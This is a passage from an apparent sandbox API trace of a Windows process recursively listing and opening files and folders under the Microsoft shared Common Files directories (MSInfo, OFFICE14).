ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.151] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a868239, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a868239, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a868239, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0087.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.152] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a868239, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a868239, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a868239, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0087.152] GetLastError () returned 0x12 [0087.152] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.153] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.153] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.153] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.153] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.154] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.154] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.154] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.154] NtClose (Handle=0x124) returned 0x0 [0087.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.156] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.156] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.156] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99bae7b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x99bae7b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0087.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb608 [0087.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303418 [0087.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.158] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99bae7b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x99bae7b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0087.158] GetLastError () returned 0x12 [0087.158] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.158] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.158] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.158] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99bae7b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x99bae7b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0087.158] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99bae7b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x99bae7b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0087.158] GetLastError () returned 0x12 [0087.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0087.159] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1303310) returned 1 [0087.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.159] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a868239, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a868239, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a868239, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0087.159] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a868239, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a868239, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a868239, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0087.159] GetLastError () returned 0x12 [0087.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.159] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.160] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0087.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.160] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0087.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.161] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.161] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.161] NtClose (Handle=0x16c) returned 0x0 [0087.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.162] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.163] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.163] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0087.163] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a395f00, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xae3504c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7a395f00, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x35afb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0087.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.165] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadf72d00, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xae376620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf72d00, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x129b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0087.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.166] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xad3651a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad3651a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0087.166] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c46c00, ftCreationTime.dwHighDateTime=0x1cbdfac, ftLastAccessTime.dwLowDateTime=0xacfacf40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb1c46c00, ftLastWriteTime.dwHighDateTime=0x1cbdfac, nFileSizeHigh=0x0, nFileSizeLow=0x11e9780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0087.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.168] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf201500, ftCreationTime.dwHighDateTime=0x1cbf448, ftLastAccessTime.dwLowDateTime=0xb34d7640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf201500, ftLastWriteTime.dwHighDateTime=0x1cbf448, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0087.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.169] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.169] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.170] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec942b00, ftCreationTime.dwHighDateTime=0x1cbc467, ftLastAccessTime.dwLowDateTime=0xae1f9860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec942b00, ftLastWriteTime.dwHighDateTime=0x1cbc467, nFileSizeHigh=0x0, nFileSizeLow=0xf1390, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0087.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.171] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09ff800, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd09ff800, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0xbf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0087.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.173] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="")) returned 1 [0087.173] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96cba700, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x30cd96d0, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x96cba700, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x4588, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0087.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.174] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32421600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xae0a2c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x32421600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x14db68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0087.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.174] 